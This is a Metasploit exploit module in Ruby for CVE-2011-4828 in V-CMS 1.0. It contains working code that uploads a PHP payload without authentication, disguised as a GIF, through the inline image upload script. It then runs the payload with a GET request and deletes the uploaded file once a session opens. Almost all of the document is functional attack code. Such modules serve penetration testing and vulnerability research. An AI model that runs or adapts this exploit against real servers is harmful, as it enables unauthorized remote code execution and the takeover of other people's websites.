V-CMS PHP File Upload and Execute



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "V-CMS PHP File Upload and Execute",
            'Description'    => %q{
                    This module exploits a vulnerability found on V-CMS's inline image upload feature.
                The problem is due to the inline_image_upload.php file not checking the file type
                before saving it on the web server. This allows any malicious user to upload a
                script (such as PHP) without authentication, and then execute it with a GET request.

                    The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
                allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
                one of those extension names, which may still be leveraged in an attack.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'AutoSec Tools',  #Initial discovery
                    'sinn3r'          #Metasploit
                ],
            'References'     =>
                [
                    ['CVE', '2011-4828'],
                    ['BID', '50706'],
                    ['URL', 'http://bugs.v-cms.org/view.php?id=53'],
                    ['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['V-CMS 1.0', {}],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 27 2011",  #When the ticket was created
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
                ], self.class)
    end

    def check
        res = send_request_raw({
            'uri'   => target_uri.path,
            'method' => 'GET'
        })

        if res and res.body =~ /V\-CMS v1\.[0-1]/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
    end

    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            client.fs.file.rm(@payload_name)
        else
            client.shell_command_token("rm #{@payload_name}")
        end
    end

    def exploit
        peer = "#{rhost}:#{rport}"

        base = target_uri.path
        base << '/' if base[-1,1] != '/'

        @payload_name = "#{rand_text_alpha(5)}.php"
        p = %Q|<?php
        
#{payload.encoded}
        
?>
        |

        p = p.gsub(/^\t\t/, '')

        post_data = "------x\r\n"
        post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
        post_data << "Content-Type: image/gif\r\n"
        post_data << "\r\n"
        post_data << p
        post_data << "------x--\r\n"

        print_status("#{peer} Uploading payload: #{@payload_name}")
        res = send_request_cgi({
            'uri'    => "#{base}includes/inline_image_upload.php",
            'method' => 'POST',
            'ctype'  => 'multipart/form-data; boundary=----x',
            'data'   => post_data
        })

        if res
            print_status("#{peer} replies status: #{res.code.to_s}")
        else
            print_error("#{peer} No response from server. Will not continue")
            return
        end

        print_status("#{peer} Executing payload: #{@payload_name}")
        res = send_request_raw({
            'uri'    => "#{base}temp/#{@payload_name}",
            'method' => 'GET'
        })

        if res and res.code == 404
            print_error("#{peer} 404 - the upload probably failed")
            return
        end

        handler
    end
end